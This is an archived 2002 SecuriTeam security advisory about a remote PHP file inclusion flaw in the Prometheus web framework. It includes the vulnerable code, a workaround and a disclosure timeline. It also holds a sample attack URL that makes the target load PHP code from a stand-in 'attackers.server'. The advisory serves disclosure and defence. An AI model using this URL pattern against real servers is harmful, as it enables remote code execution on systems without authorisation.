[UNIX] Prometheus Application Framework Code Injection

From: support@securiteam.com
Date: 11/03/02


From: support@securiteam.com
To: list@securiteam.com
Date: 3 Nov 2002 12:50:58 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -

  Prometheus Application Framework Code Injection
------------------------------------------------------------------------

SUMMARY

Jason Orcutt's <http://prometheus.zerodivide.net/> Prometheus is a web
application framework written in PHP. A security vulnerability allows
remote attackers to inject malicious code into the web application.

DETAILS

A remote attacker can inject into Prometheus arbitrary PHP code that
executes under the privileges of the underlying web server. The crux of
the problem lies in the following snippet of code extracted from the top
of prometheus-library/all.lib:

if ( ! isset( $PROMETHEUS_LIBRARY_BASE ) ||
$PROMETHEUS_LIBRARY_BASE == '') {
    $PROMETHEUS_LIBRARY_BASE = './prometheus-library';
}

if ( ! isset( $PHP_AUTO_LOAD_LIB ) ) {
    $PHP_AUTO_LOAD_LIB = 0;
}

if ( ! isset( $PROMETHEUS_LIB_PATH ) ) {
    $PROMETHEUS_LIB_PATH = 0;
}

if ( $PHP_AUTO_LOAD_LIB == 0 ) {
    include( $PROMETHEUS_LIBRARY_BASE . '/autoload.lib' );
}

if ( $PROMETHEUS_LIB_PATH == 0 ) {
    include( $PROMETHEUS_LIBRARY_BASE . '/prometheus-lib.path' );
}

An attacker could force the application to load a tainted version of
autoload.lib and prometheus-lib.path that contains arbitrary PHP code from
a remote server by setting PHP_AUTO_LOAD_LIB to "0" and
PROMETHEUS_LIBRARY_BASE to the address of the remote server. The following
scripts can be targeted in this attack because all.lib is included without
any filtering:

 * index.php
 * install.php
 * test_*.php

The following is a sample attack URL that would cause "target.server" to
load autoload.lib and prometheus-lib.path from "attackers.server".

http://target.server/prometheus-all/index.php?PROMETHEUS_LIBRARY_BASE=http://attackers.server/&PHP_AUTO_LOAD_LIB=0

Analysis:
Remote exploitation allows an attacker to execute arbitrary commands and
code under the privileges of the web server. This also opens the door to
privilege escalation attacks.

Detection:
iDEFENSE has verified that Prometheus 6.0 is vulnerable. Versions 3.0-beta
and 4.0-beta are also reportedly vulnerable. Other earlier versions may be
vulnerable as well. To determine if a specific implementation is
vulnerable, experiment with the above-described attack.

Workaround:
 * First, locate the files that make dangerous calls to include().
The following sample command line accomplishes this:

$ grep -n all.lib * -r | grep _BASE index.php:23:include(
$PROMETHEUS_APP_BASE . '/prometheus-library/all.lib' );
scripts/view_theme.php3:6:include( $PROMETHEUS_LIBRARY_BASE . '/all.lib'
);

 * Next add the following line above the calls to include():

$PROMETHEUS_LIBRARY_BASE = './prometheus-library';

This should prevent attackers from arbitrarily setting the
PROMETHEUS_LIBRARY_BASE variable to point to a remote location.

Disclosure timeline:
09/28/2002 Issue disclosed to iDEFENSE
10/14/2002 Author notified via e-mail to zerodiv@zerodivide.net
10/14/2002 iDEFENSE clients notified
10/14/2002 Response received from zerodiv@zerodivide.net
10/31/2002 Coordinated public disclosure

ADDITIONAL INFORMATION

The original advisory can be downloaded by going to:
 <http://www.idefense.com/advisory/10.31.02b.txt>
http://www.idefense.com/advisory/10.31.02b.txt

The information has been provided by <mailto:dendler@idefense.com> David
Endler of iDEFENSE, the vulnerability was discovered by
<mailto:appelast@bsquad.sm.pl> Karol Wiesek.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



Relevant Pages